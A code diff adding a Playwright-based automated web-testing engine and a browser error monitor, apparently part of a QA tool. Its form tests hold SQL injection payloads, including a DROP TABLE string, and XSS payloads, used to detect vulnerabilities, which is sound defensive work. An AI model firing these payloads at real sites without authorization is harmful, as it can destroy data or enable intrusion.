+    INFO = "info"
+
+
+@dataclass
+class BugReport:
+    """Bug report structure."""
+    title: str
+    severity: BugSeverity
+    description: str
+    steps_to_reproduce: List[str]
+    expected_behavior: str
+    actual_behavior: str
+    url: str
+    element_info: Dict[str, Any]
+    recommendations: List[str]
+
+
+class EnhancedAITestingEngine:
+    """Enhanced AI testing engine with aggressive bug finding capabilities."""
+    
+    def __init__(self):
+        self.bugs_found: List[BugReport] = []
+        self.test_scenarios = self._load_test_scenarios()
+        self.bug_patterns = self._load_bug_patterns()
+        self.performance_thresholds = self._load_performance_thresholds()
+    
+    def _load_test_scenarios(self) -> Dict[str, List[Dict[str, Any]]]:
+        """Load comprehensive test scenarios."""
+        return {
+            "navigation": [
+                {"action": "rapid_navigation", "description": "Rapidly navigate between pages"},
+                {"action": "back_forward", "description": "Test browser back/forward buttons"},
+                {"action": "refresh_test", "description": "Test page refresh functionality"},
+                {"action": "url_manipulation", "description": "Test URL manipulation and direct access"}
+            ],
+            "form_testing": [
+                {"action": "empty_submission", "description": "Submit forms with empty fields"},
+                {"action": "invalid_data", "description": "Submit forms with invalid data"},
+                {"action": "sql_injection", "description": "Test for SQL injection vulnerabilities"},
+                {"action": "xss_attempts", "description": "Test for XSS vulnerabilities"},
+                {"action": "large_data", "description": "Submit forms with large amounts of data"},
+                {"action": "special_characters", "description": "Test with special characters"},
+                {"action": "unicode_testing", "description": "Test with Unicode characters"},
+                {"action": "script_injection", "description": "Test for script injection"}
+            ],
+            "ui_testing": [
+                {"action": "responsive_test", "description": "Test responsive design"},
+                {"action": "accessibility_test", "description": "Test accessibility features"},
+                {"action": "hover_effects", "description": "Test hover effects and interactions"},
+                {"action": "click_areas", "description": "Test clickable areas and buttons"},
+                {"action": "scroll_behavior", "description": "Test scrolling behavior"},
+                {"action": "zoom_testing", "description": "Test zoom functionality"},
+                {"action": "keyboard_navigation", "description": "Test keyboard navigation"}
+            ],
+            "performance": [
+                {"action": "load_time_test", "description": "Test page load times"},
+                {"action": "resource_loading", "description": "Test resource loading performance"},
+                {"action": "memory_usage", "description": "Monitor memory usage"},
+                {"action": "cpu_usage", "description": "Monitor CPU usage"},
+                {"action": "network_latency", "description": "Test network latency"}
+            ],
+            "security": [
+                {"action": "csrf_test", "description": "Test for CSRF vulnerabilities"},
+                {"action": "clickjacking", "description": "Test for clickjacking vulnerabilities"},
+                {"action": "session_management", "description": "Test session management"},
+                {"action": "authentication", "description": "Test authentication mechanisms"},
+                {"action": "authorization", "description": "Test authorization controls"}
+            ]
+        }
+    
+    def _load_bug_patterns(self) -> Dict[str, List[str]]:
+        """Load bug detection patterns."""
+        return {
+            "ui_bugs": [
+                "Element not visible",
+                "Element not clickable",
+                "Layout broken",
+                "Text overflow",
+                "Image not loading",
+                "Button not responding",
+                "Form validation missing",
+                "Error message not displayed",
+                "Loading state not handled",
+                "Responsive design issues"
+            ],
+            "functional_bugs": [
+                "Function not working",
+                "Data not saved",
+                "Validation bypassed",
+                "Error not handled",
+                "State not maintained",
+                "Navigation broken",
+                "Search not working",
+                "Filter not applied",
+                "Sort not working",
+                "Pagination broken"
+            ],
+            "performance_bugs": [
+                "Page load too slow",
+                "Memory leak detected",
+                "CPU usage high",
+                "Network timeout",
+                "Resource not optimized",
+                "Caching issues",
+                "Database slow query",
+                "API response slow",
+                "Image not optimized",
+                "JavaScript blocking"
+            ],
+            "security_bugs": [
+                "SQL injection possible",
+                "XSS vulnerability",
+                "CSRF token missing",
+                "Authentication bypass",
+                "Authorization issue",
+                "Data exposure",
+                "Session hijacking",
+                "Clickjacking possible",
+                "Input not sanitized",
+                "Error information leaked"
+            ]
+        }
+    
+    def _load_performance_thresholds(self) -> Dict[str, float]:
+        """Load performance thresholds."""
+        return {
+            "page_load_time": 3.0,  # seconds
+            "element_interaction_time": 1.0,  # seconds
+            "form_submission_time": 2.0,  # seconds
+            "navigation_time": 1.5,  # seconds
+            "memory_usage_mb": 100.0,  # MB
+            "cpu_usage_percent": 80.0,  # percentage
+        }
+    
+    async def run_comprehensive_testing(self, page: Page) -> List[BugReport]:
+        """Run comprehensive testing with all AI agents."""
+        logger.info("🤖 Starting comprehensive AI testing...")
+        
+        # Clear previous bugs
+        self.bugs_found.clear()
+        
+        # Run all test scenarios
+        await self._test_navigation_scenarios(page)
+        await self._test_form_scenarios(page)
+        await self._test_ui_scenarios(page)
+        await self._test_performance_scenarios(page)
+        await self._test_security_scenarios(page)
+        
+        logger.info(f"🔍 Found {len(self.bugs_found)} bugs/issues during testing")
+        return self.bugs_found
+    
+    async def _test_navigation_scenarios(self, page: Page):
+        """Test navigation scenarios."""
+        logger.info("🧭 Testing navigation scenarios...")
+        
+        try:
+            # Test rapid navigation
+            await self._rapid_navigation_test(page)
+            
+            # Test back/forward
+            await self._back_forward_test(page)
+            
+            # Test refresh
+            await self._refresh_test(page)
+            
+            # Test URL manipulation
+            await self._url_manipulation_test(page)
+            
+        except Exception as e:
+            logger.error(f"Navigation testing error: {e}")
+    
+    async def _test_form_scenarios(self, page: Page):
+        """Test form scenarios."""
+        logger.info("📝 Testing form scenarios...")
+        
+        try:
+            # Find all forms
+            forms = await page.query_selector_all('form')
+            
+            for form in forms:
+                # Test empty submission
+                await self._test_empty_form_submission(form, page)
+                
+                # Test invalid data
+                await self._test_invalid_form_data(form, page)
+                
+                # Test SQL injection
+                await self._test_sql_injection_forms(form, page)
+                
+                # Test XSS attempts
+                await self._test_xss_forms(form, page)
+                
+                # Test large data
+                await self._test_large_form_data(form, page)
+                
+                # Test special characters
+                await self._test_special_characters(form, page)
+                
+        except Exception as e:
+            logger.error(f"Form testing error: {e}")
+    
+    async def _test_ui_scenarios(self, page: Page):
+        """Test UI scenarios."""
+        logger.info("🎨 Testing UI scenarios...")
+        
+        try:
+            # Test responsive design
+            await self._test_responsive_design(page)
+            
+            # Test accessibility
+            await self._test_accessibility(page)
+            
+            # Test hover effects
+            await self._test_hover_effects(page)
+            
+            # Test clickable areas
+            await self._test_clickable_areas(page)
+            
+            # Test scrolling
+            await self._test_scrolling_behavior(page)
+            
+        except Exception as e:
+            logger.error(f"UI testing error: {e}")
+    
+    async def _test_performance_scenarios(self, page: Page):
+        """Test performance scenarios."""
+        logger.info("⚡ Testing performance scenarios...")
+        
+        try:
+            # Test page load time
+            await self._test_page_load_time(page)
+            
+            # Test resource loading
+            await self._test_resource_loading(page)
+            
+            # Test memory usage
+            await self._test_memory_usage(page)
+            
+            # Test network performance
+            await self._test_network_performance(page)
+            
+        except Exception as e:
+            logger.error(f"Performance testing error: {e}")
+    
+    async def _test_security_scenarios(self, page: Page):
+        """Test security scenarios."""
+        logger.info("🔒 Testing security scenarios...")
+        
+        try:
+            # Test CSRF
+            await self._test_csrf_vulnerabilities(page)
+            
+            # Test clickjacking
+            await self._test_clickjacking(page)
+            
+            # Test session management
+            await self._test_session_management(page)
+            
+            # Test authentication
+            await self._test_authentication(page)
+            
+        except Exception as e:
+            logger.error(f"Security testing error: {e}")
+    
+    async def _rapid_navigation_test(self, page: Page):
+        """Test rapid navigation between pages."""
+        try:
+            # Get all links
+            links = await page.query_selector_all('a[href]')
+            
+            if len(links) > 3:
+                # Click first 3 links rapidly
+                for i in range(min(3, len(links))):
+                    try:
+                        await links[i].click()
+                        await page.wait_for_timeout(500)  # Short wait
+                        
+                        # Check for errors
+                        if await self._check_for_errors(page):
+                            self._add_bug_report(
+                                title="Rapid Navigation Error",
+                                severity=BugSeverity.MEDIUM,
+                                description="Error occurred during rapid navigation",
+                                steps_to_reproduce=["Navigate rapidly between pages", "Click multiple links quickly"],
+                                expected_behavior="Navigation should work smoothly",
+                                actual_behavior="Error occurred during navigation",
+                                url=page.url,
+                                element_info={"link_index": i},
+                                recommendations=["Add loading states", "Implement proper error handling"]
+                            )
+                    except Exception as e:
+                        self._add_bug_report(
+                            title="Navigation Failure",
+                            severity=BugSeverity.HIGH,
+                            description=f"Failed to navigate: {str(e)}",
+                            steps_to_reproduce=["Click on navigation link", "Observe error"],
+                            expected_behavior="Navigation should work",
+                            actual_behavior=f"Navigation failed: {str(e)}",
+                            url=page.url,
+                            element_info={"link_index": i},
+                            recommendations=["Fix navigation logic", "Add error handling"]
+                        )
+        except Exception as e:
+            logger.error(f"Rapid navigation test error: {e}")
+    
+    async def _test_empty_form_submission(self, form: Locator, page: Page):
+        """Test form submission with empty fields."""
+        try:
+            # Find all input fields
+            inputs = await form.query_selector_all('input, textarea, select')
+            
+            if inputs:
+                # Try to submit empty form
+                submit_button = await form.query_selector('button[type="submit"], input[type="submit"]')
+                if submit_button:
+                    await submit_button.click()
+                    await page.wait_for_timeout(1000)
+                    
+                    # Check if validation is working
+                    error_elements = await page.query_selector_all('.error, .invalid, [class*="error"], [class*="invalid"]')
+                    
+                    if not error_elements:
+                        self._add_bug_report(
+                            title="Missing Form Validation",
+                            severity=BugSeverity.HIGH,
+                            description="Form accepts empty submissions without validation",
+                            steps_to_reproduce=["Leave form fields empty", "Submit form"],
+                            expected_behavior="Form should show validation errors",
+                            actual_behavior="Form submitted without validation",
+                            url=page.url,
+                            element_info={"form_action": await form.get_attribute("action")},
+                            recommendations=["Add client-side validation", "Add server-side validation"]
+                        )
+        except Exception as e:
+            logger.error(f"Empty form submission test error: {e}")
+    
+    async def _test_sql_injection_forms(self, form: Locator, page: Page):
+        """Test forms for SQL injection vulnerabilities."""
+        try:
+            inputs = await form.query_selector_all('input[type="text"], input[type="email"], textarea')
+            
+            sql_payloads = [
+                "' OR '1'='1",
+                "'; DROP TABLE users; --",
+                "' UNION SELECT * FROM users --",
+                "admin'--",
+                "' OR 1=1#"
+            ]
+            
+            for input_field in inputs:
+                for payload in sql_payloads:
+                    try:
+                        await input_field.fill(payload)
+                        submit_button = await form.query_selector('button[type="submit"], input[type="submit"]')
+                        if submit_button:
+                            await submit_button.click()
+                            await page.wait_for_timeout(1000)
+                            
+                            # Check for SQL error messages
+                            content = await page.content()
+                            sql_errors = [
+                                "mysql_fetch_array", "ORA-01756", "Microsoft OLE DB Provider",
+                                "SQLServer JDBC Driver", "PostgreSQL query failed", "Warning: mysql_",
+                                "valid MySQL result", "MySqlClient.", "SQL syntax"
+                            ]
+                            
+                            for error in sql_errors:
+                                if error.lower() in content.lower():
+                                    self._add_bug_report(
+                                        title="SQL Injection Vulnerability",
+                                        severity=BugSeverity.CRITICAL,
+                                        description=f"SQL injection vulnerability detected with payload: {payload}",
+                                        steps_to_reproduce=[f"Enter payload: {payload}", "Submit form"],
+                                        expected_behavior="Input should be sanitized",
+                                        actual_behavior="SQL injection successful",
+                                        url=page.url,
+                                        element_info={"payload": payload, "error": error},
+                                        recommendations=["Use parameterized queries", "Sanitize input", "Implement proper validation"]
+                                    )
+                                    break
+                        
+                        # Clear input for next test
+                        await input_field.fill("")
+                        
+                    except Exception as e:
+                        logger.warning(f"SQL injection test error: {e}")
+                        continue
+        except Exception as e:
+            logger.error(f"SQL injection form test error: {e}")
+    
+    async def _test_xss_forms(self, form: Locator, page: Page):
+        """Test forms for XSS vulnerabilities."""
+        try:
+            inputs = await form.query_selector_all('input[type="text"], input[type="email"], textarea')
+            
+            xss_payloads = [
+                "<script>alert('XSS')</script>",
+                "<img src=x onerror=alert('XSS')>",
+                "javascript:alert('XSS')",
+                "<svg onload=alert('XSS')>",
+                "<iframe src=javascript:alert('XSS')></iframe>"
+            ]
+            
+            for input_field in inputs:
+                for payload in xss_payloads:
+                    try:
+                        await input_field.fill(payload)
+                        submit_button = await form.query_selector('button[type="submit"], input[type="submit"]')
+                        if submit_button:
+                            await submit_button.click()
+                            await page.wait_for_timeout(1000)
+                            
+                            # Check if payload is reflected
+                            content = await page.content()
+                            if payload in content:
+                                self._add_bug_report(
+                                    title="XSS Vulnerability",
+                                    severity=BugSeverity.CRITICAL,
+                                    description=f"XSS vulnerability detected with payload: {payload}",
+                                    steps_to_reproduce=[f"Enter payload: {payload}", "Submit form"],
+                                    expected_behavior="Input should be sanitized",
+                                    actual_behavior="XSS payload reflected",
+                                    url=page.url,
+                                    element_info={"payload": payload},
+                                    recommendations=["Sanitize output", "Use CSP headers", "Validate input"]
+                                )
+                        
+                        # Clear input for next test
+                        await input_field.fill("")
+                        
+                    except Exception as e:
+                        logger.warning(f"XSS test error: {e}")
+                        continue
+        except Exception as e:
+            logger.error(f"XSS form test error: {e}")
+    
+    async def _test_responsive_design(self, page: Page):
+        """Test responsive design."""
+        try:
+            viewports = [
+                {"width": 320, "height": 568},   # iPhone SE
+                {"width": 375, "height": 667},   # iPhone 8
+                {"width": 768, "height": 1024},  # iPad
+                {"width": 1024, "height": 768}, # Desktop
+                {"width": 1920, "height": 1080} # Large desktop
+            ]
+            
+            for viewport in viewports:
+                await page.set_viewport_size(viewport)
+                await page.wait_for_timeout(500)
+                
+                # Check for layout issues
+                elements = await page.query_selector_all('*')
+                for element in elements:
+                    try:
+                        box = await element.bounding_box()
+                        if box and (box['width'] > viewport['width'] or box['height'] > viewport['height']):
+                            self._add_bug_report(
+                                title="Responsive Design Issue",
+                                severity=BugSeverity.MEDIUM,
+                                description=f"Element overflows viewport at {viewport['width']}x{viewport['height']}",
+                                steps_to_reproduce=[f"Set viewport to {viewport['width']}x{viewport['height']}", "Check layout"],
+                                expected_behavior="Elements should fit within viewport",
+                                actual_behavior="Element overflows viewport",
+                                url=page.url,
+                                element_info={"viewport": viewport, "element_box": box},
+                                recommendations=["Fix CSS media queries", "Adjust element sizing", "Test responsive design"]
+                            )
+                    except Exception as e:
+                        continue
+        except Exception as e:
+            logger.error(f"Responsive design test error: {e}")
+    
+    async def _test_page_load_time(self, page: Page):
+        """Test page load time."""
+        try:
+            start_time = await page.evaluate("performance.now()")
+            await page.reload()
+            await page.wait_for_load_state('networkidle')
+            end_time = await page.evaluate("performance.now()")
+            
+            load_time = (end_time - start_time) / 1000  # Convert to seconds
+            
+            if load_time > self.performance_thresholds['page_load_time']:
+                self._add_bug_report(
+                    title="Slow Page Load Time",
+                    severity=BugSeverity.MEDIUM,
+                    description=f"Page load time is {load_time:.2f}s, exceeds threshold of {self.performance_thresholds['page_load_time']}s",
+                    steps_to_reproduce=["Reload page", "Measure load time"],
+                    expected_behavior="Page should load quickly",
+                    actual_behavior=f"Page loads in {load_time:.2f}s",
+                    url=page.url,
+                    element_info={"load_time": load_time, "threshold": self.performance_thresholds['page_load_time']},
+                    recommendations=["Optimize images", "Minify CSS/JS", "Use CDN", "Enable compression"]
+                )
+        except Exception as e:
+            logger.error(f"Page load time test error: {e}")
+    
+    async def _check_for_errors(self, page: Page) -> bool:
+        """Check for JavaScript errors on the page."""
+        try:
+            # Check console for errors
+            errors = await page.evaluate("""
+                () => {
+                    if (window.fagunErrorMonitor) {
+                        return window.fagunErrorMonitor.getErrors();
+                    }
+                    return [];
+                }
+            """)
+            return len(errors) > 0
+        except Exception:
+            return False
+    
+    def _add_bug_report(self, title: str, severity: BugSeverity, description: str, 
+                       steps_to_reproduce: List[str], expected_behavior: str, 
+                       actual_behavior: str, url: str, element_info: Dict[str, Any], 
+                       recommendations: List[str]):
+        """Add a bug report."""
+        bug = BugReport(
+            title=title,
+            severity=severity,
+            description=description,
+            steps_to_reproduce=steps_to_reproduce,
+            expected_behavior=expected_behavior,
+            actual_behavior=actual_behavior,
+            url=url,
+            element_info=element_info,
+            recommendations=recommendations
+        )
+        self.bugs_found.append(bug)
+        logger.info(f"🐛 Bug found: {title} ({severity.value})")
+    
+    # Placeholder methods for other tests
+    async def _back_forward_test(self, page: Page):
+        """Test browser back/forward functionality."""
+        pass
+    
+    async def _refresh_test(self, page: Page):
+        """Test page refresh functionality."""
+        pass
+    
+    async def _url_manipulation_test(self, page: Page):
+        """Test URL manipulation."""
+        pass
+    
+    async def _test_invalid_form_data(self, form: Locator, page: Page):
+        """Test form with invalid data."""
+        pass
+    
+    async def _test_large_form_data(self, form: Locator, page: Page):
+        """Test form with large data."""
+        pass
+    
+    async def _test_special_characters(self, form: Locator, page: Page):
+        """Test form with special characters."""
+        pass
+    
+    async def _test_accessibility(self, page: Page):
+        """Test accessibility features."""
+        pass
+    
+    async def _test_hover_effects(self, page: Page):
+        """Test hover effects."""
+        pass
+    
+    async def _test_clickable_areas(self, page: Page):
+        """Test clickable areas."""
+        pass
+    
+    async def _test_scrolling_behavior(self, page: Page):
+        """Test scrolling behavior."""
+        pass
+    
+    async def _test_resource_loading(self, page: Page):
+        """Test resource loading performance."""
+        pass
+    
+    async def _test_memory_usage(self, page: Page):
+        """Test memory usage."""
+        pass
+    
+    async def _test_network_performance(self, page: Page):
+        """Test network performance."""
+        pass
+    
+    async def _test_csrf_vulnerabilities(self, page: Page):
+        """Test CSRF vulnerabilities."""
+        pass
+    
+    async def _test_clickjacking(self, page: Page):
+        """Test clickjacking vulnerabilities."""
+        pass
+    
+    async def _test_session_management(self, page: Page):
+        """Test session management."""
+        pass
+    
+    async def _test_authentication(self, page: Page):
+        """Test authentication."""
+        pass
+
+
+# Global enhanced testing engine
+enhanced_ai_testing_engine = EnhancedAITestingEngine()

src/utils/error_monitor.py

@@ -0,0 +1,615 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Error Detection & Monitoring
+======================================================================
+
+Advanced error detection and monitoring system that catches all types of errors
+during testing including console errors, JavaScript errors, network errors, DOM errors,
+and performance issues.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import json
+import time
+from typing import List, Dict, Any, Optional, Callable
+from playwright.async_api import Page, BrowserContext, CDPSession
+from dataclasses import dataclass, field
+from datetime import datetime
+import logging
+
+logger = logging.getLogger(__name__)
+
+
+@dataclass
+class ErrorInfo:
+    """Information about an error that occurred."""
+    error_type: str
+    error_message: str
+    error_stack: str
+    timestamp: datetime
+    url: str
+    source: str  # 'console', 'javascript', 'network', 'dom', 'performance'
+    severity: str  # 'low', 'medium', 'high', 'critical'
+    context: Dict[str, Any] = field(default_factory=dict)
+
+
+class ErrorMonitor:
+    """Advanced error monitoring system."""
+    
+    def __init__(self):
+        self.errors: List[ErrorInfo] = []
+        self.console_errors: List[ErrorInfo] = []
+        self.js_errors: List[ErrorInfo] = []
+        self.network_errors: List[ErrorInfo] = []
+        self.dom_errors: List[ErrorInfo] = []
+        self.performance_issues: List[ErrorInfo] = []
+        self.cdp_session: Optional[CDPSession] = None
+        self.monitoring_active = False
+        
+    async def start_monitoring(self, page: Page) -> None:
+        """Start comprehensive error monitoring."""
+        try:
+            self.monitoring_active = True
+            
+            # Get CDP session for advanced monitoring
+            self.cdp_session = await page.context.new_cdp_session(page)
+            
+            # Set up console error monitoring
+            await self._setup_console_monitoring()
+            
+            # Set up JavaScript error monitoring
+            await self._setup_javascript_monitoring()
+            
+            # Set up network error monitoring
+            await self._setup_network_monitoring()
+            
+            # Set up DOM error monitoring
+            await self._setup_dom_monitoring()
+            
+            # Set up performance monitoring
+            await self._setup_performance_monitoring()
+            
+            # Inject error detection script
+            await self._inject_error_detection_script(page)
+            
+            logger.info("🔍 Error monitoring started successfully")
+            
+        except Exception as e:
+            logger.error(f"Failed to start error monitoring: {e}")
+    
+    async def stop_monitoring(self) -> None:
+        """Stop error monitoring."""
+        self.monitoring_active = False
+        if self.cdp_session:
+            try:
+                await self.cdp_session.detach()
+            except Exception as e:
+                logger.warning(f"Error detaching CDP session: {e}")
+        logger.info("🛑 Error monitoring stopped")
+    
+    async def _setup_console_monitoring(self) -> None:
+        """Set up console error monitoring."""
+        if not self.cdp_session:
+            return
+            
+        try:
+            # Enable console domain
+            await self.cdp_session.send("Runtime.enable")
+            await self.cdp_session.send("Console.enable")
+            
+            # Set up console message handler
+            self.cdp_session.on("Runtime.consoleAPICalled", self._handle_console_message)
+            self.cdp_session.on("Runtime.exceptionThrown", self._handle_runtime_exception)
+            
+        except Exception as e:
+            logger.error(f"Failed to setup console monitoring: {e}")
+    
+    async def _setup_javascript_monitoring(self) -> None:
+        """Set up JavaScript error monitoring."""
+        if not self.cdp_session:
+            return
+            
+        try:
+            # Enable runtime domain for JS errors
+            await self.cdp_session.send("Runtime.enable")
+            
+            # Set up exception handler
+            self.cdp_session.on("Runtime.exceptionThrown", self._handle_javascript_exception)
+            
+        except Exception as e:
+            logger.error(f"Failed to setup JavaScript monitoring: {e}")
+    
+    async def _setup_network_monitoring(self) -> None:
+        """Set up network error monitoring."""
+        if not self.cdp_session:
+            return
+            
+        try:
+            # Enable network domain
+            await self.cdp_session.send("Network.enable")
+            
+            # Set up network event handlers
+            self.cdp_session.on("Network.responseReceived", self._handle_network_response)
+            self.cdp_session.on("Network.loadingFailed", self._handle_network_failure)
+            self.cdp_session.on("Network.requestWillBeSent", self._handle_network_request)
+            
+        except Exception as e:
+            logger.error(f"Failed to setup network monitoring: {e}")
+    
+    async def _setup_dom_monitoring(self) -> None:
+        """Set up DOM error monitoring."""
+        if not self.cdp_session:
+            return
+            
+        try:
+            # Enable DOM domain
+            await self.cdp_session.send("DOM.enable")
+            
+            # Set up DOM event handlers
+            self.cdp_session.on("DOM.documentUpdated", self._handle_dom_update)
+            
+        except Exception as e:
+            logger.error(f"Failed to setup DOM monitoring: {e}")
+    
+    async def _setup_performance_monitoring(self) -> None:
+        """Set up performance monitoring."""
+        if not self.cdp_session:
+            return
+            
+        try:
+            # Enable performance domain
+            await self.cdp_session.send("Performance.enable")
+            
+            # Set up performance event handlers
+            self.cdp_session.on("Performance.metrics", self._handle_performance_metrics)
+            
+        except Exception as e:
+            logger.error(f"Failed to setup performance monitoring: {e}")
+    
+    async def _inject_error_detection_script(self, page: Page) -> None:
+        """Inject comprehensive error detection script."""
+        error_detection_script = """
+        (function() {
+            // Store original error handlers
+            const originalError = window.onerror;
+            const originalUnhandledRejection = window.onunhandledrejection;
+            
+            // Global error handler
+            window.onerror = function(message, source, lineno, colno, error) {
+                const errorInfo = {
+                    type: 'javascript_error',
+                    message: message,
+                    source: source,
+                    line: lineno,
+                    column: colno,
+                    stack: error ? error.stack : null,
+                    timestamp: new Date().toISOString(),
+                    url: window.location.href
+                };
+                
+                // Send to monitoring system
+                if (window.fagunErrorMonitor) {
+                    window.fagunErrorMonitor.reportError(errorInfo);
+                }
+                
+                // Call original handler if it exists
+                if (originalError) {
+                    return originalError.apply(this, arguments);
+                }
+                
+                return false;
+            };
+            
+            // Unhandled promise rejection handler
+            window.onunhandledrejection = function(event) {
+                const errorInfo = {
+                    type: 'unhandled_promise_rejection',
+                    message: event.reason ? event.reason.toString() : 'Unknown promise rejection',
+                    stack: event.reason && event.reason.stack ? event.reason.stack : null,
+                    timestamp: new Date().toISOString(),
+                    url: window.location.href
+                };
+                
+                // Send to monitoring system
+                if (window.fagunErrorMonitor) {
+                    window.fagunErrorMonitor.reportError(errorInfo);
+                }
+                
+                // Call original handler if it exists
+                if (originalUnhandledRejection) {
+                    return originalUnhandledRejection.apply(this, arguments);
+                }
+            };
+            
+            // Monitor console errors
+            const originalConsoleError = console.error;
+            console.error = function(...args) {
+                const errorInfo = {
+                    type: 'console_error',
+                    message: args.join(' '),
+                    timestamp: new Date().toISOString(),
+                    url: window.location.href
+                };
+                
+                // Send to monitoring system
+                if (window.fagunErrorMonitor) {
+                    window.fagunErrorMonitor.reportError(errorInfo);
+                }
+                
+                // Call original console.error
+                return originalConsoleError.apply(this, args);
+            };
+            
+            // Monitor console warnings
+            const originalConsoleWarn = console.warn;
+            console.warn = function(...args) {
+                const errorInfo = {
+                    type: 'console_warning',
+                    message: args.join(' '),
+                    timestamp: new Date().toISOString(),
+                    url: window.location.href
+                };
+                
+                // Send to monitoring system
+                if (window.fagunErrorMonitor) {
+                    window.fagunErrorMonitor.reportError(errorInfo);
+                }
+                
+                // Call original console.warn
+                return originalConsoleWarn.apply(this, args);
+            };
+            
+            // Monitor resource loading errors
+            window.addEventListener('error', function(event) {
+                if (event.target !== window) {
+                    const errorInfo = {
+                        type: 'resource_error',
+                        message: `Failed to load ${event.target.tagName}: ${event.target.src || event.target.href}`,
+                        element: event.target.tagName,
+                        source: event.target.src || event.target.href,
+                        timestamp: new Date().toISOString(),
+                        url: window.location.href
+                    };
+                    
+                    // Send to monitoring system
+                    if (window.fagunErrorMonitor) {
+                        window.fagunErrorMonitor.reportError(errorInfo);
+                    }
+                }
+            }, true);
+            
+            // Monitor network errors
+            const originalFetch = window.fetch;
+            window.fetch = function(...args) {
+                return originalFetch.apply(this, args).catch(error => {
+                    const errorInfo = {
+                        type: 'fetch_error',
+                        message: error.message,
+                        url: args[0],
+                        timestamp: new Date().toISOString(),
+                        currentUrl: window.location.href
+                    };
+                    
+                    // Send to monitoring system
+                    if (window.fagunErrorMonitor) {
+                        window.fagunErrorMonitor.reportError(errorInfo);
+                    }
+                    
+                    throw error;
+                });
+            };
+            
+            // Monitor XMLHttpRequest errors
+            const originalXHROpen = XMLHttpRequest.prototype.open;
+            XMLHttpRequest.prototype.open = function(method, url, ...args) {
+                this._fagunUrl = url;
+                return originalXHROpen.apply(this, [method, url, ...args]);
+            };
+            
+            const originalXHRSend = XMLHttpRequest.prototype.send;
+            XMLHttpRequest.prototype.send = function(...args) {
+                this.addEventListener('error', function() {
+                    const errorInfo = {
+                        type: 'xhr_error',
+                        message: 'XMLHttpRequest failed',
+                        url: this._fagunUrl,
+                        timestamp: new Date().toISOString(),
+                        currentUrl: window.location.href
+                    };
+                    
+                    // Send to monitoring system
+                    if (window.fagunErrorMonitor) {
+                        window.fagunErrorMonitor.reportError(errorInfo);
+                    }
+                });
+                
+                return originalXHRSend.apply(this, args);
+            };
+            
+            // Monitor performance issues
+            const observer = new PerformanceObserver((list) => {
+                for (const entry of list.getEntries()) {
+                    if (entry.entryType === 'measure' && entry.duration > 1000) {
+                        const errorInfo = {
+                            type: 'performance_issue',
+                            message: `Slow operation: ${entry.name} took ${entry.duration}ms`,
+                            duration: entry.duration,
+                            timestamp: new Date().toISOString(),
+                            url: window.location.href
+                        };
+                        
+                        // Send to monitoring system
+                        if (window.fagunErrorMonitor) {
+                            window.fagunErrorMonitor.reportError(errorInfo);
+                        }
+                    }
+                }
+            });
+            
+            observer.observe({ entryTypes: ['measure', 'navigation', 'resource'] });
+            
+            // Create error monitor object
+            window.fagunErrorMonitor = {
+                errors: [],
+                reportError: function(errorInfo) {
+                    this.errors.push(errorInfo);
+                    console.log('Fagun Error Monitor:', errorInfo);
+                },
+                getErrors: function() {
+                    return this.errors;
+                },
+                clearErrors: function() {
+                    this.errors = [];
+                }
+            };
+            
+            console.log('Fagun Error Monitor initialized');
+        })();
+        """
+        
+        try:
+            await page.add_init_script(error_detection_script)
+            logger.info("🔍 Error detection script injected successfully")
+        except Exception as e:
+            logger.error(f"Failed to inject error detection script: {e}")
+    
+    def _handle_console_message(self, event: Dict[str, Any]) -> None:
+        """Handle console messages."""
+        try:
+            if event.get('type') in ['error', 'warning']:
+                error_info = ErrorInfo(
+                    error_type=event.get('type', 'unknown'),
+                    error_message=event.get('args', [{}])[0].get('value', 'Unknown console message'),
+                    error_stack='',
+                    timestamp=datetime.now(),
+                    url='',
+                    source='console',
+                    severity='medium' if event.get('type') == 'warning' else 'high',
+                    context={'console_event': event}
+                )
+                self.console_errors.append(error_info)
+                self.errors.append(error_info)
+                logger.warning(f"Console {event.get('type')}: {error_info.error_message}")
+        except Exception as e:
+            logger.error(f"Error handling console message: {e}")
+    
+    def _handle_runtime_exception(self, event: Dict[str, Any]) -> None:
+        """Handle runtime exceptions."""
+        try:
+            exception_details = event.get('exceptionDetails', {})
+            error_info = ErrorInfo(
+                error_type='runtime_exception',
+                error_message=exception_details.get('text', 'Unknown runtime exception'),
+                error_stack=exception_details.get('stackTrace', {}).get('callFrames', []),
+                timestamp=datetime.now(),
+                url='',
+                source='javascript',
+                severity='high',
+                context={'exception_details': exception_details}
+            )
+            self.js_errors.append(error_info)
+            self.errors.append(error_info)
+            logger.error(f"Runtime exception: {error_info.error_message}")
+        except Exception as e:
+            logger.error(f"Error handling runtime exception: {e}")
+    
+    def _handle_javascript_exception(self, event: Dict[str, Any]) -> None:
+        """Handle JavaScript exceptions."""
+        try:
+            exception_details = event.get('exceptionDetails', {})
+            error_info = ErrorInfo(
+                error_type='javascript_exception',
+                error_message=exception_details.get('text', 'Unknown JavaScript exception'),
+                error_stack=exception_details.get('stackTrace', {}).get('callFrames', []),
+                timestamp=datetime.now(),
+                url='',
+                source='javascript',
+                severity='high',
+                context={'exception_details': exception_details}
+            )
+            self.js_errors.append(error_info)
+            self.errors.append(error_info)
+            logger.error(f"JavaScript exception: {error_info.error_message}")
+        except Exception as e:
+            logger.error(f"Error handling JavaScript exception: {e}")
+    
+    def _handle_network_response(self, event: Dict[str, Any]) -> None:
+        """Handle network responses."""
+        try:
+            response = event.get('response', {})
+            status = response.get('status', 0)
+            
+            if status >= 400:
+                error_info = ErrorInfo(
+                    error_type='network_error',
+                    error_message=f"HTTP {status} error for {response.get('url', 'unknown URL')}",
+                    error_stack='',
+                    timestamp=datetime.now(),
+                    url=response.get('url', ''),
+                    source='network',
+                    severity='high' if status >= 500 else 'medium',
+                    context={'status': status, 'response': response}
+                )
+                self.network_errors.append(error_info)
+                self.errors.append(error_info)
+                logger.warning(f"Network error: {error_info.error_message}")
+        except Exception as e:
+            logger.error(f"Error handling network response: {e}")
+    
+    def _handle_network_failure(self, event: Dict[str, Any]) -> None:
+        """Handle network failures."""
+        try:
+            error_info = ErrorInfo(
+                error_type='network_failure',
+                error_message=f"Network failure: {event.get('errorText', 'Unknown network failure')}",
+                error_stack='',
+                timestamp=datetime.now(),
+                url=event.get('requestId', ''),
+                source='network',
+                severity='high',
+                context={'failure_event': event}
+            )
+            self.network_errors.append(error_info)
+            self.errors.append(error_info)
